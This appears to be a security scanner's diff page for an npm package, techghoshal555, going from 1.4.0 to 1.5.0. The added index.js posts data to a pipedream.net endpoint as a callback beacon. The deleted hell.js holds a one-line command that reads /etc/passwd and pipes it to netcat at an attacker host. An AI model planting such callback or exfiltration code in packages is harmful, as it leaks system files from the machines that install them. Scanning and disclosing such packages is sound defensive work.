techghoshal555 1.4.0 → 1.5.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +20 -0
- package/package.json +1 -1
- package/hell.js +0 -1
package/index.js
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
const https = require("https")
|
2
|
+
|
3
|
+
const data = JSON.stringify({
|
4
|
+
"test": "event"
|
5
|
+
})
|
6
|
+
|
7
|
+
const options = {
|
8
|
+
hostname: "eo68t6hwethv4lo.m.pipedream.net",
|
9
|
+
port: 443,
|
10
|
+
path: "/",
|
11
|
+
method: "POST",
|
12
|
+
headers: {
|
13
|
+
"Content-Type": "application/json",
|
14
|
+
"Content-Length": data.length,
|
15
|
+
},
|
16
|
+
}
|
17
|
+
|
18
|
+
const req = https.request(options)
|
19
|
+
req.write(data)
|
20
|
+
req.end()
|
package/package.json
CHANGED
package/hell.js
DELETED
@@ -1 +0,0 @@
|
|
1
|
-
require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')
|